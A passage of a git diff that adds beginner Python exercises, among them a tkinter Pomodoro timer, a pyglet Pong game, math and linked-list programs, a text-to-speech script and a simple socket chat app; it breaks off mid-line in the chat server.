+bg_colors = { + "Pink": "#e2979c", + "Green": "#9bdeac", + "Blue": "#1f75fe", + "Yellow": "#ffcc00", + "Purple": "#b19cd9", +} + +# Global variables +ROUND = 1 +timer_mec = None +total_time = 0 # Total seconds for the current session +is_paused = False # Timer pause flag +remaining_time = 0 # Remaining time (in seconds) when paused +custom_work_min = DEFAULT_WORK_MIN +custom_break_min = DEFAULT_BREAK_MIN + + +# ---------------------------- BACKGROUND COLOR CHANGE FUNCTION ------------------------------- # +def change_background(*args): + selected = bg_color_var.get() + new_color = bg_colors.get(selected, PINK) + window.config(bg=new_color) + canvas.config(bg=new_color) + label.config(bg=new_color) + tick_label.config(bg=new_color) + work_label.config(bg=new_color) + break_label.config(bg=new_color) + + +# ---------------------------- NOTIFICATION FUNCTION ------------------------------- # +def show_notification(message): + notif = Toplevel(window) + notif.overrideredirect(True) + notif.config(bg=PINK) + + msg_label = Label( + notif, + text=message, + font=(FONT_NAME, 12, "bold"), + bg=GREEN, + fg="white", + padx=10, + pady=5, + ) + msg_label.pack() + + window.update_idletasks() + wx = window.winfo_rootx() + wy = window.winfo_rooty() + wwidth = window.winfo_width() + wheight = window.winfo_height() + + notif.update_idletasks() + nwidth = notif.winfo_width() + nheight = notif.winfo_height() + + x = wx + (wwidth - nwidth) // 2 + y = wy + wheight - nheight - 10 + notif.geometry(f"+{x}+{y}") + + notif.after(3000, notif.destroy) + + +# ---------------------------- TIMER FUNCTIONS ------------------------------- # +def reset_timer(): + global ROUND, timer_mec, total_time, is_paused, remaining_time + ROUND = 1 + is_paused = False + remaining_time = 0 + if timer_mec is not None: + window.after_cancel(timer_mec) + canvas.itemconfig(timer_text, text="00:00") + label.config(text="Timer") + tick_label.config(text="") + total_time = 0 + canvas.itemconfig(progress_arc, extent=0) + start_button.config(state=NORMAL) + pause_button.config(state=DISABLED) + play_button.config(state=DISABLED) + + +def start_timer(): + global ROUND, total_time, is_paused + canvas.itemconfig(progress_arc, extent=0) + + if ROUND % 2 == 1: # Work session + total_time = custom_work_min * 60 + label.config(text="Work", fg=GREEN) + else: # Break session + total_time = custom_break_min * 60 + label.config(text="Break", fg=PINK) + + count_down(total_time) + start_button.config(state=DISABLED) + pause_button.config(state=NORMAL) + play_button.config(state=DISABLED) + is_paused = False + + +def count_down(count): + global timer_mec, remaining_time + remaining_time = count + minutes = count // 60 + seconds = count % 60 + if seconds < 10: + seconds = f"0{seconds}" + canvas.itemconfig(timer_text, text=f"{minutes}:{seconds}") + + if total_time > 0: + progress = (total_time - count) / total_time + canvas.itemconfig(progress_arc, extent=progress * 360) + + if count > 0 and not is_paused: + timer_mec = window.after(1000, count_down, count - 1) + elif count == 0: + if ROUND % 2 == 1: + show_notification("Work session complete! Time for a break.") + else: + show_notification("Break over! Back to work.") + if ROUND % 2 == 0: + tick_label.config(text=tick_label.cget("text") + "#") + ROUND += 1 + start_timer() + + +def pause_timer(): + global is_paused, timer_mec + if not is_paused: + is_paused = True + if timer_mec is not None: + window.after_cancel(timer_mec) + pause_button.config(state=DISABLED) + play_button.config(state=NORMAL) + + +def resume_timer(): + global is_paused + if is_paused: + is_paused = False + count_down(remaining_time) + play_button.config(state=DISABLED) + pause_button.config(state=NORMAL) + + +def set_custom_durations(): + global custom_work_min, custom_break_min + try: + work_val = int(entry_work.get()) + break_val = int(entry_break.get()) + custom_work_min = work_val + custom_break_min = break_val + canvas.itemconfig(left_custom, text=f"{custom_work_min}m") + canvas.itemconfig(right_custom, text=f"{custom_break_min}m") + except ValueError: + pass + + +# ---------------------------- UI SETUP ------------------------------- # +window = Tk() +window.title("Pomodoro") +window.config(padx=100, pady=50, bg=PINK) + +# Canvas setup with increased width for spacing +canvas = Canvas(window, width=240, height=224, bg=PINK, highlightthickness=0) +timer_text = canvas.create_text( + 120, 112, text="00:00", font=(FONT_NAME, 35, "bold"), fill="white" +) +background_circle = canvas.create_arc( + 40, 32, 200, 192, start=0, extent=359.9, style="arc", outline="white", width=5 +) +progress_arc = canvas.create_arc( + 40, 32, 200, 192, start=270, extent=0, style="arc", outline="green", width=5 +) +# Updated positions for work and break time labels +left_custom = canvas.create_text( + 20, 112, text=f"{custom_work_min}m", font=(FONT_NAME, 12, "bold"), fill="white" +) +right_custom = canvas.create_text( + 220, 112, text=f"{custom_break_min}m", font=(FONT_NAME, 12, "bold"), fill="white" +) + +canvas.grid(column=1, row=1) + +label = Label(text="Timer", font=(FONT_NAME, 35, "bold"), bg=PINK, fg="green") +label.grid(column=1, row=0) + +start_button = Button(text="Start", command=start_timer, highlightthickness=0) +start_button.grid(column=0, row=2) + +reset_button = Button(text="Reset", command=reset_timer, highlightthickness=0) +reset_button.grid(column=2, row=2) + +pause_button = Button( + text="Pause", command=pause_timer, highlightthickness=0, state=DISABLED +) +pause_button.grid(column=0, row=3) + +play_button = Button( + text="Play", command=resume_timer, highlightthickness=0, state=DISABLED +) +play_button.grid(column=2, row=3) + +tick_label = Label(text="", font=(FONT_NAME, 15, "bold"), bg=PINK, fg="green") +tick_label.grid(column=1, row=4) + +# Custom durations (stacked vertically) +work_label = Label( + text="Work (min):", font=(FONT_NAME, 12, "bold"), bg=PINK, fg="white" +) +work_label.grid(column=1, row=5, pady=(20, 0)) +entry_work = Entry(width=5, font=(FONT_NAME, 12)) +entry_work.grid(column=1, row=6, pady=(5, 10)) +break_label = Label( + text="Break (min):", font=(FONT_NAME, 12, "bold"), bg=PINK, fg="white" +) +break_label.grid(column=1, row=7, pady=(5, 0)) +entry_break = Entry(width=5, font=(FONT_NAME, 12)) +entry_break.grid(column=1, row=8, pady=(5, 10)) +set_button = Button( + text="Set Durations", command=set_custom_durations, font=(FONT_NAME, 12) +) +set_button.grid(column=1, row=9, pady=(10, 20)) + +# OptionMenu for changing background color +bg_color_var = StringVar(window) +bg_color_var.set("Pink") +bg_option = OptionMenu( + window, bg_color_var, *bg_colors.keys(), command=change_background +) +bg_option.config(font=(FONT_NAME, 12)) +bg_option.grid(column=1, row=10, pady=(10, 20)) + +window.mainloop() diff --git a/PongPong_Game/README.md b/PongPong_Game/README.md new file mode 100644 index 00000000000..9c82051fe0d --- /dev/null +++ b/PongPong_Game/README.md @@ -0,0 +1,39 @@ +# PongPong + +Are you just starting your Game Development journey ? + +Do you want to learn something new ? + +PongPong, a game that every developer should try their hands on ! + +I really enjoyed making this game when I went ahead and completed a task from Zero To Mastery Academy monthly challenge. + +It was super fun learning something new, the basics of game development and how to view a game as just like a geometry plane to work with, was simply mind blowing for me. + +I chose pyglet for development work, motivation behind this was to completely learn something new and not to work with the good old pygame ! + +Go through the following parts to get familiar with pyglet game development style: + +1. [Making PONGPONG - Game Development using Pyglet - Part 1](https://blog.codekaro.info/making-pongpong-game-development-using-pyglet-part-1) +2. [Making PONGPONG - Game Development using Pyglet - Part 2](https://blog.codekaro.info/making-pongpong-game-development-using-pyglet-part-2) +3. [Making PONGPONG - Game Development using Pyglet - Part 3](https://blog.codekaro.info/making-pongpong-game-development-using-pyglet-part-3) + +I really loved writing my experience and how I approached the problem, hoping you will find it insightful, will learn something new and get to know basics of developing a game like PongPong. + +--- + +Library used: + +**pyglet** + +Install to your virtual environment or global using pip: + +*pip install pyglet* + +Game Play Demo on MacOS: + +![Game_play on mac](pong_game_play.gif) + +--- + +*Actual game was developed using Pygame shown in a youtube tutorial and can be found at [Pong, Python & Pygame](https://www.youtube.com/watch?v=JRLdbt7vK-E)* diff --git a/PongPong_Game/pong/__init__.py b/PongPong_Game/pong/__init__.py new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ b/PongPong_Game/pong/__init__.py @@ -0,0 +1 @@ + diff --git a/PongPong_Game/pong/ball.py b/PongPong_Game/pong/ball.py new file mode 100644 index 00000000000..a60e0bf666a --- /dev/null +++ b/PongPong_Game/pong/ball.py @@ -0,0 +1,41 @@ +# ./PongPong/pong/ball.py + +import pyglet +import random +from typing import Tuple + + +class BallObject(pyglet.shapes.Circle): + def __init__(self, *args, **kwargs): + super(BallObject, self).__init__(*args, **kwargs) + self.color = (255, 180, 0) + self.velocity_x, self.velocity_y = 0.0, 0.0 + + def update(self, win_size: Tuple, border: Tuple, other_object, dt) -> None: + speed = [ + 2.37, + 2.49, + 2.54, + 2.62, + 2.71, + 2.85, + 2.96, + 3.08, + 3.17, + 3.25, + ] # more choices more randomness + rn = random.choice(speed) + newx = self.x + self.velocity_x + newy = self.y + self.velocity_y + + if newx < border + self.radius or newx > win_size[0] - border - self.radius: + self.velocity_x = -(self.velocity_x / abs(self.velocity_x)) * rn + elif newy > win_size[1] - border - self.radius: + self.velocity_y = -(self.velocity_y / abs(self.velocity_y)) * rn + elif (newy - self.radius < other_object.height) and ( + other_object.x <= newx <= other_object.rightx + ): + self.velocity_y = -(self.velocity_y / abs(self.velocity_y)) * rn + else: + self.x = newx + self.y = newy diff --git a/PongPong_Game/pong/load.py b/PongPong_Game/pong/load.py new file mode 100644 index 00000000000..f06ff73da4e --- /dev/null +++ b/PongPong_Game/pong/load.py @@ -0,0 +1,42 @@ +# ./PongPong/pong/load.py + +from . import ball, paddle, rectangle +from typing import Tuple + + +def load_balls(win_size: Tuple, radius: float, speed: Tuple, batch=None): + balls = [] + ball_x = win_size[0] / 2 + ball_y = win_size[1] / 2 + new_ball = ball.BallObject(x=ball_x, y=ball_y, radius=radius, batch=batch) + new_ball.velocity_x, new_ball.velocity_y = speed[0], speed[1] + balls.append(new_ball) + return balls + + +def load_paddles( + paddle_pos: Tuple, width: float, height: float, acc: Tuple, batch=None +): + paddles = [] + new_paddle = paddle.Paddle( + x=paddle_pos[0], y=paddle_pos[1], width=width, height=height, batch=batch + ) + new_paddle.rightx = new_paddle.x + width + new_paddle.acc_left, new_paddle.acc_right = acc[0], acc[1] + paddles.append(new_paddle) + return paddles + + +def load_rectangles(win_size: Tuple, border: float, batch=None): + rectangles = [] + top = rectangle.RectangleObject( + x=0, y=win_size[1] - border, width=win_size[0], height=border, batch=batch + ) + left = rectangle.RectangleObject( + x=0, y=0, width=border, height=win_size[1], batch=batch + ) + right = rectangle.RectangleObject( + x=win_size[0] - border, y=0, width=border, height=win_size[1], batch=batch + ) + rectangles.extend([left, top, right]) + return rectangles diff --git a/PongPong_Game/pong/paddle.py b/PongPong_Game/pong/paddle.py new file mode 100644 index 00000000000..0a442523642 --- /dev/null +++ b/PongPong_Game/pong/paddle.py @@ -0,0 +1,33 @@ +# ./PongPong/pong/paddle.py + +import pyglet +from pyglet.window import key +from typing import Tuple + + +class Paddle(pyglet.shapes.Rectangle): + def __init__(self, *args, **kwargs): + super(Paddle, self).__init__(*args, **kwargs) + + self.acc_left, self.acc_right = 0.0, 0.0 + self.rightx = 0 + self.key_handler = key.KeyStateHandler() + self.event_handlers = [self, self.key_handler] + + def update(self, win_size: Tuple, border: float, other_object, dt): + newlx = self.x + self.acc_left + newrx = self.x + self.acc_right + + if self.key_handler[key.LEFT]: + self.x = newlx + elif self.key_handler[key.RIGHT]: + self.x = newrx + + self.rightx = self.x + self.width + + if self.x < border: + self.x = border + self.rightx = self.x + self.width + elif self.rightx > win_size[0] - border: + self.x = win_size[0] - border - self.width + self.rightx = self.x + self.width diff --git a/PongPong_Game/pong/rectangle.py b/PongPong_Game/pong/rectangle.py new file mode 100644 index 00000000000..90768633281 --- /dev/null +++ b/PongPong_Game/pong/rectangle.py @@ -0,0 +1,8 @@ +# ./PongPong/pong/rectangle.py + +import pyglet + + +class RectangleObject(pyglet.shapes.Rectangle): + def __init__(self, *args, **kwargs): + super(RectangleObject, self).__init__(*args, **kwargs) diff --git a/PongPong_Game/pong_game_play.gif b/PongPong_Game/pong_game_play.gif new file mode 100644 index 00000000000..bee54ca7e9f Binary files /dev/null and b/PongPong_Game/pong_game_play.gif differ diff --git a/PongPong_Game/pongpong.py b/PongPong_Game/pongpong.py new file mode 100644 index 00000000000..b9afd45bae7 --- /dev/null +++ b/PongPong_Game/pongpong.py @@ -0,0 +1,60 @@ +# ./PongPong/pongpong.py + +import pyglet +from pong import load + +# Variables, Considering a vertical oriented window for game +WIDTH = 600 # Game Window Width +HEIGHT = 600 # Game Window Height +BORDER = 10 # Walls Thickness/Border Thickness +RADIUS = 12 # Ball Radius +PWIDTH = 120 # Paddle Width +PHEIGHT = 15 # Paddle Height +ballspeed = (-2, -2) # Initially ball will be falling with speed (x, y) +paddleacc = ( + -5, + 5, +) # Paddle Acceleration on both sides - left: negative acc, right: positive acc, for x-axis + + +class PongPongWindow(pyglet.window.Window): + def __init__(self, *args, **kwargs): + super(PongPongWindow, self).__init__(*args, **kwargs) + + self.win_size = (WIDTH, HEIGHT) + self.paddle_pos = (WIDTH / 2 - PWIDTH / 2, 0) + self.main_batch = pyglet.graphics.Batch() + self.walls = load.load_rectangles(self.win_size, BORDER, batch=self.main_batch) + self.balls = load.load_balls( + self.win_size, RADIUS, speed=ballspeed, batch=self.main_batch + ) + self.paddles = load.load_paddles( + self.paddle_pos, PWIDTH, PHEIGHT, acc=paddleacc, batch=self.main_batch + ) + + def on_draw(self): + self.clear() + self.main_batch.draw() + + +game_window = PongPongWindow(width=WIDTH, height=HEIGHT, caption="PongPong") +game_objects = game_window.balls + game_window.paddles + +for paddle in game_window.paddles: + for handler in paddle.event_handlers: + game_window.push_handlers(handler) + + +def update(dt): + global game_objects, game_window + + for obj1 in game_objects: + for obj2 in game_objects: + if obj1 is obj2: + continue + obj1.update(game_window.win_size, BORDER, obj2, dt) + + +if __name__ == "__main__": + pyglet.clock.schedule_interval(update, 1 / 120.0) + pyglet.app.run() diff --git a/PongPong_Game/requirements.txt b/PongPong_Game/requirements.txt new file mode 100644 index 00000000000..ccf1333682a --- /dev/null +++ b/PongPong_Game/requirements.txt @@ -0,0 +1 @@ +pyglet==2.1.9 diff --git a/Prime_number.py b/Prime_number.py new file mode 100644 index 00000000000..c9b8259a0fd --- /dev/null +++ b/Prime_number.py @@ -0,0 +1,39 @@ +# Author: Tan Duc Mai +# Email: tan.duc.work@gmail.com +# Description: Three different functions to check whether a given number is a prime. +# Return True if it is a prime, False otherwise. +# Those three functions, from a to c, decreases in efficiency +# (takes longer time). + +from math import sqrt + + +def is_prime_a(n): + if n < 2: + return False + sqrt_n = int(sqrt(n)) + for i in range(2, sqrt_n + 1): + if n % i == 0: + return False + return True + + +def is_prime_b(n): + if n <= 1: + return False + if n == 2: + return True + for i in range(2, int(n // 2) + 1): + if n % i == 0: + return False + return True + + +def is_prime_c(n): + divisible = 0 + for i in range(1, n + 1): + if n % i == 0: + divisible += 1 + if divisible == 2: + return True + return False diff --git a/Python Distance.py b/Python Distance.py new file mode 100644 index 00000000000..919f1e1528f --- /dev/null +++ b/Python Distance.py @@ -0,0 +1,13 @@ +# Display the powers of 2 using anonymous function + +terms = 10 + +# Uncomment code below to take input from the user +# terms = int(input("How many terms? ")) + +# use anonymous function +result = list(map(lambda x: 2**x, range(terms))) + +print("The total terms are:", terms) +for i in range(terms): + print("2 raised to power", i, "is", result[i]) diff --git a/Python Programs/Program of Reverse of any number.py b/Python Programs/Program of Reverse of any number.py new file mode 100644 index 00000000000..75edba98cc8 --- /dev/null +++ b/Python Programs/Program of Reverse of any number.py @@ -0,0 +1,12 @@ +num = int(input("enter any Number")) +rev = 0 +while num > 0: + Rem = num % 10 + num = num // 10 + rev = rev * 10 + Rem +print("The Reverse of the number", rev) +################## +# could also simply do this another way + +num = input() +print(int(num[::-1])) diff --git a/Python Programs/Program to print table of given number.py b/Python Programs/Program to print table of given number.py new file mode 100644 index 00000000000..699e4047174 --- /dev/null +++ b/Python Programs/Program to print table of given number.py @@ -0,0 +1,19 @@ +n = int(input("Enter the number to print the tables for:")) +for i in range(1, 11): + print(n, "x", i, "=", n * i) + +# Example +# input: 2 +# output: +""" +2 x 1 = 2 +2 x 2 = 4 +2 x 3 = 6 +2 x 4 = 8 +2 x 5 = 10 +2 x 6 = 12 +2 x 7 = 14 +2 x 8 = 16 +2 x 9 = 18 +2 x 10 = 20 +""" diff --git a/Python Programs/Program to reverse Linked List( Recursive solution).py b/Python Programs/Program to reverse Linked List( Recursive solution).py new file mode 100644 index 00000000000..14f27b7a6fc --- /dev/null +++ b/Python Programs/Program to reverse Linked List( Recursive solution).py @@ -0,0 +1,65 @@ +from sys import stdin, setrecursionlimit + +setrecursionlimit(10**6) + + +# Following is the Node class already written for the Linked List +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +def reverseLinkedListRec(head): + if head is None: + return None + if head.next is None: + return head + smallhead = reverseLinkedListRec(head.next) + head.next.next = head + head.next = None + return smallhead + + +# Taking Input Using Fast I/O +def takeInput(): + head = None + tail = None + + datas = list(map(int, stdin.readline().rstrip().split(" "))) + + i = 0 + while (i < len(datas)) and (datas[i] != -1): + data = datas[i] + newNode = Node(data) + + if head is None: + head = newNode + tail = newNode + + else: + tail.next = newNode + tail = newNode + + i += 1 + + return head + + +def printLinkedList(head): + while head is not None: + print(head.data, end=" ") + head = head.next + print() + + +# main +t = int(stdin.readline().rstrip()) + +while t > 0: + head = takeInput() + + newHead = reverseLinkedListRec(head) + printLinkedList(newHead) + + t -= 1 diff --git a/Python Programs/Python Program for Product of unique prime factors of a number.py b/Python Programs/Python Program for Product of unique prime factors of a number.py new file mode 100644 index 00000000000..1018f51be56 --- /dev/null +++ b/Python Programs/Python Program for Product of unique prime factors of a number.py @@ -0,0 +1,29 @@ +# Python program to find sum of given +# series. + + +def productPrimeFactors(n): + product = 1 + + for i in range(2, n + 1): + if n % i == 0: + isPrime = 1 + + for j in range(2, int(i / 2 + 1)): + if i % j == 0: + isPrime = 0 + break + + # condition if \'i\' is Prime number + # as well as factor of num + if isPrime: + product = product * i + + return product + + +# main() +n = 44 +print(productPrimeFactors(n)) + +# Contributed by _omg diff --git a/Python Programs/Python Program for Tower of Hanoi.py b/Python Programs/Python Program for Tower of Hanoi.py new file mode 100644 index 00000000000..00c8eb96ce0 --- /dev/null +++ b/Python Programs/Python Program for Tower of Hanoi.py @@ -0,0 +1,12 @@ +# Recursive Python function to solve the tower of hanoi +def TowerOfHanoi(n, source, destination, auxiliary): + if n == 1: + print("Move disk 1 from source ", source, " to destination ", destination) + return + TowerOfHanoi(n - 1, source, auxiliary, destination) + print("Move disk ", n, " from source ", source, " to destination ", destination) + TowerOfHanoi(n - 1, auxiliary, destination, source) + + +n = 4 +TowerOfHanoi(n, "A", "B", "C") diff --git a/Python Programs/Python Program for factorial of a number.py b/Python Programs/Python Program for factorial of a number.py new file mode 100644 index 00000000000..2fd0ec75fe5 --- /dev/null +++ b/Python Programs/Python Program for factorial of a number.py @@ -0,0 +1,43 @@ +""" +Factorial of a non-negative integer, is multiplication of +all integers smaller than or equal to n. +For example factorial of 6 is 6*5*4*3*2*1 which is 720. +""" + +""" +Recursive: +Python3 program to find factorial of given number +""" + + +def factorial(n): + # single line to find factorial + return 1 if (n == 1 or n == 0) else n * factorial(n - 1) + + +# Driver Code +num = 5 +print("Factorial of", num, "is", factorial((num))) + +""" +Iterative: +Python 3 program to find factorial of given number. +""" + + +def factorial(n): + if n < 0: + return 0 + elif n == 0 or n == 1: + return 1 + else: + fact = 1 + while n > 1: + fact *= n + n -= 1 + return fact + + +# Driver Code +num = 5 +print("Factorial of", num, "is", factorial(num)) diff --git a/Python Programs/Python Program to Count the Number of Each Vowel.py b/Python Programs/Python Program to Count the Number of Each Vowel.py new file mode 100644 index 00000000000..eb66d0967d6 --- /dev/null +++ b/Python Programs/Python Program to Count the Number of Each Vowel.py @@ -0,0 +1,19 @@ +# Program to count the number of each vowels + +# string of vowels +vowels = "aeiou" + +ip_str = "Hello, have you tried our tutorial section yet?" + +# make it suitable for caseless comparisions +ip_str = ip_str.casefold() + +# make a dictionary with each vowel a key and value 0 +count = {}.fromkeys(vowels, 0) + +# count the vowels +for char in ip_str: + if char in count: + count[char] += 1 + +print(count) diff --git a/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py b/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py new file mode 100644 index 00000000000..7bfb6b7a03a --- /dev/null +++ b/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py @@ -0,0 +1,16 @@ +def recur_fibo(n): + if n <= 1: + return n + else: + return recur_fibo(n - 1) + recur_fibo(n - 2) + + +nterms = 10 + +# check if the number of terms is valid +if nterms <= 0: + print("Please enter a positive integer") +else: + print("Fibonacci sequence:") + for i in range(nterms): + print(recur_fibo(i)) diff --git a/Python Programs/Python Program to Find LCM.py b/Python Programs/Python Program to Find LCM.py new file mode 100644 index 00000000000..dfd1b57e81e --- /dev/null +++ b/Python Programs/Python Program to Find LCM.py @@ -0,0 +1,23 @@ +# Python Program to find the L.C.M. of two input number + + +def compute_lcm(x, y): + # choose the greater number + if x > y: + greater = x + else: + greater = y + + while True: + if (greater % x == 0) and (greater % y == 0): + lcm = greater + break + greater += 1 + + return lcm + + +num1 = 54 +num2 = 24 + +print("The L.C.M. is", compute_lcm(num1, num2)) diff --git a/Python Programs/Python Program to Merge Mails.py b/Python Programs/Python Program to Merge Mails.py new file mode 100644 index 00000000000..f8189fff88e --- /dev/null +++ b/Python Programs/Python Program to Merge Mails.py @@ -0,0 +1,18 @@ +# Python program to mail merger +# Names are in the file names.txt +# Body of the mail is in body.txt + +# open names.txt for reading +with open("names.txt", "r", encoding="utf-8") as names_file: + # open body.txt for reading + with open("body.txt", "r", encoding="utf-8") as body_file: + # read entire content of the body + body = body_file.read() + + # iterate over names + for name in names_file: + mail = "Hello " + name.strip() + "\n" + body + + # write the mails to individual files + with open(name.strip() + ".txt", "w", encoding="utf-8") as mail_file: + mail_file.write(mail) diff --git a/Python Programs/Python Program to Print the Fibonacci sequence.py b/Python Programs/Python Program to Print the Fibonacci sequence.py new file mode 100644 index 00000000000..d6a70a574cd --- /dev/null +++ b/Python Programs/Python Program to Print the Fibonacci sequence.py @@ -0,0 +1,23 @@ +# Program to display the Fibonacci sequence up to n-th term + +nterms = int(input("How many terms? ")) + +# first two terms +n1, n2 = 0, 1 +count = 0 + +# check if the number of terms is valid +if nterms <= 0: + print("Please enter a positive integer") +elif nterms == 1: + print("Fibonacci sequence upto", nterms, ":") + print(n1) +else: + print("Fibonacci sequence:") + while count < nterms: + print(n1) + nth = n1 + n2 + # update values + n1 = n2 + n2 = nth + count += 1 diff --git a/Python Programs/Python Program to Remove Punctuations from a String.py b/Python Programs/Python Program to Remove Punctuations from a String.py new file mode 100644 index 00000000000..6154c73a11b --- /dev/null +++ b/Python Programs/Python Program to Remove Punctuations from a String.py @@ -0,0 +1,16 @@ +# define punctuation +punctuations = r"""!()-[]{};:'"\,<>./?@#$%^&*_~""" + +my_str = "Hello!!!, he said ---and went." + +# To take input from the user +# my_str = input("Enter a string: ") + +# remove punctuation from the string +no_punct = "" +for char in my_str: + if char not in punctuations: + no_punct = no_punct + char + +# display the unpunctuated string +print(no_punct) diff --git a/Python Programs/Python Program to Reverse a linked list.py b/Python Programs/Python Program to Reverse a linked list.py new file mode 100644 index 00000000000..e636a0df632 --- /dev/null +++ b/Python Programs/Python Program to Reverse a linked list.py @@ -0,0 +1,56 @@ +# Python program to reverse a linked list +# Time Complexity : O(n) +# Space Complexity : O(1) + +# Node class +class Node: + # Constructor to initialize the node object + def __init__(self, data): + self.data = data + self.next = None + + +class LinkedList: + # Function to initialize head + def __init__(self): + self.head = None + + # Function to reverse the linked list + def reverse(self): + prev = None + current = self.head + while current is not None: + next = current.next + current.next = prev + prev = current + current = next + self.head = prev + + # Function to insert a new node at the beginning + def push(self, new_data): + new_node = Node(new_data) + new_node.next = self.head + self.head = new_node + + # Utility function to print the linked LinkedList + def printList(self): + temp = self.head + while temp: + print(temp.data) + temp = temp.next + + +# Driver program to test above functions +llist = LinkedList() +llist.push(20) +llist.push(4) +llist.push(15) +llist.push(85) + +print("Given Linked List") +llist.printList() +llist.reverse() +print("\nReversed Linked List") +llist.printList() + +# This code is contributed by Nikhil Kumar Singh(nickzuck_007) diff --git a/Python Programs/Python Program to Sort Words in Alphabetic Order.py b/Python Programs/Python Program to Sort Words in Alphabetic Order.py new file mode 100644 index 00000000000..737f88c5a8e --- /dev/null +++ b/Python Programs/Python Program to Sort Words in Alphabetic Order.py @@ -0,0 +1,42 @@ +# Program to sort words alphabetically and put them in a dictionary with corresponding numbered keys +# We are also removing punctuation to ensure the desired output, without importing a library for assistance. + +# Declare base variables +word_Dict = {} +count = 0 +my_str = "Hello this Is an Example With cased letters. Hello, this is a good string" +# Initialize punctuation +punctuations = """!()-[]{};:'",<>./?@#$%^&*_~""" + +# To take input from the user +# my_str = input("Enter a string: ") + +# remove punctuation from the string and use an empty variable to put the alphabetic characters into +no_punct = "" +for char in my_str: + if char not in punctuations: + no_punct = no_punct + char + +# Make all words in string lowercase. my_str now equals the original string without the punctuation +my_str = no_punct.lower() + +# breakdown the string into a list of words +words = my_str.split() + +# sort the list and remove duplicate words +words.sort() + +new_Word_List = [] +for word in words: + if word not in new_Word_List: + new_Word_List.append(word) + else: + continue + +# insert sorted words into dictionary with key + +for word in new_Word_List: + count += 1 + word_Dict[count] = word + +print(word_Dict) diff --git a/Python Programs/Python Program to Transpose a Matrix.py b/Python Programs/Python Program to Transpose a Matrix.py new file mode 100644 index 00000000000..d636ebcfa6a --- /dev/null +++ b/Python Programs/Python Program to Transpose a Matrix.py @@ -0,0 +1,12 @@ +X = [[12, 7], [4, 5], [3, 8]] + +result = [[0, 0, 0], [0, 0, 0]] + +# iterate through rows +for i in range(len(X)): + # iterate through columns + for j in range(len(X[0])): + result[j][i] = X[i][j] + +for r in result: + print(r) diff --git a/Python Programs/python program for finding square root for positive number.py b/Python Programs/python program for finding square root for positive number.py new file mode 100644 index 00000000000..2a2a2dc79b9 --- /dev/null +++ b/Python Programs/python program for finding square root for positive number.py @@ -0,0 +1,10 @@ +# Python Program to calculate the square root + +# Note: change this value for a different result +num = 8 + +# To take the input from the user +# num = float(input('Enter a number: ')) + +num_sqrt = num**0.5 +print("The square root of %0.3f is %0.3f" % (num, num_sqrt)) diff --git a/Python Voice Generator.py b/Python Voice Generator.py new file mode 100644 index 00000000000..10207a9ca0d --- /dev/null +++ b/Python Voice Generator.py @@ -0,0 +1,12 @@ +# install and import google text-to-speech library gtts +from gtts import gTTS +import os + +# provide user input text +text = input("enter the text: ") +# covert text into voice +voice = gTTS(text=text, lang="en") +# save the generated voice +voice.save("output.mp3") +# play the file in windows +os.system("start output.mp3") diff --git a/Python-Array-Equilibrium-Index.py b/Python-Array-Equilibrium-Index.py new file mode 100644 index 00000000000..a12ee99a79c --- /dev/null +++ b/Python-Array-Equilibrium-Index.py @@ -0,0 +1,39 @@ +"""Array Equilibrium Index +Send Feedback +Find and return the equilibrium index of an array. Equilibrium index of an array is an index i such that the sum of elements at indices less than i is equal to the sum of elements at indices greater than i. +Element at index i is not included in either part. +If more than one equilibrium index is present, you need to return the first one. And return -1 if no equilibrium index is present. +Input format : +Line 1 : Size of input array +Line 2 : Array elements (separated by space) +Constraints: +Time Limit: 1 second +Size of input array lies in the range: [1, 1000000] +Sample Input : +7 +-7 1 5 2 -4 3 0 +Sample Output : +3""" + + +def equilibrium(arr): + # finding the sum of whole array + total_sum = sum(arr) + leftsum = 0 + for i, num in enumerate(arr): + # total_sum is now right sum + # for index i + total_sum -= num + + if leftsum == total_sum: + return i + leftsum += num + + # If no equilibrium index found, + # then return -1 + return -1 + + +n = int(input()) +arr = [int(i) for i in input().strip().split()] +print(equilibrium(arr)) diff --git a/Python_chatting_application/README.md b/Python_chatting_application/README.md new file mode 100644 index 00000000000..5344eaa3dcc --- /dev/null +++ b/Python_chatting_application/README.md @@ -0,0 +1,2 @@ +# Python_chat_App +Simple chat application using python diff --git a/Python_chatting_application/client.py b/Python_chatting_application/client.py new file mode 100644 index 00000000000..447e7b6c448 --- /dev/null +++ b/Python_chatting_application/client.py @@ -0,0 +1,45 @@ +import socket +import threading + +flag = 0 +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +hostname = input("Enter your host :: ") +s.connect((hostname, 1023)) +nickname = input("Enter your Name :: ") + + +def recieve(): + while True: + try: + msg = s.recv(1024).decode("utf-8") + if msg == "NICK": + print("Welcome to Chat room :: ", nickname) + s.send(bytes(nickname, "utf-8")) + else: + print(msg) + except Exception as error: + print(f"An Erro occured {error}") + s.close() + flag = 1 + break + + +def Write(): + while True: + try: + reply_msg = f"{nickname} :: {input()}" + s.send(bytes(reply_msg, "utf-8")) + except Exception as error: + print(f"An Error Occured while sending message !!!\n error : {error}") + s.close() + flag = 1 + break + + +if flag == 1: + exit() +recieve_thrd = threading.Thread(target=recieve) +recieve_thrd.start() + +write_thrd = threading.Thread(target=Write) +write_thrd.start() diff --git a/Python_chatting_application/server.py b/Python_chatting_application/server.py new file mode 100644 index 00000000000..1ff9141e9dd --- /dev/null +++ b/Python_chatting_application/server.py @@ -0,0 +1,56 @@ +import socket +import threading + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind((socket.gethostname(), 1023)) +print(socket.gethostname()) +s.listen(5) + +clients = [] +nickename = [] + + +def Client_Handler(cli): + while True: + try: + reply = cli.recv(1024).decode("utf-8") + if reply == "QUIT": + index_of_cli = clients.index(cli) + nick = nickename[index_of_cli] + nickename.remove(nick) + clients.remove(cli) + BroadCasating(f"{nick} has left the chat room") + print(f"Disconnected with f{nick}") + break + BroadCasating(reply) + except Exception: + index_of_cli = clients.index(cli) + print(index_of_cli) + nick = nickename[index_of_cli] + nickename.remove(nick) + clients.remove(cli) + BroadCasating(f"{nick} has left the chat room") + print(f"Disconnected with {nick}") + break + + +def BroadCasating(msg): + for client in clients: + client.send(bytes(msg, "utf-8")) + + +def recieve(): + while True: + client_sckt, addr = s.accept() + print(f"Connection has been 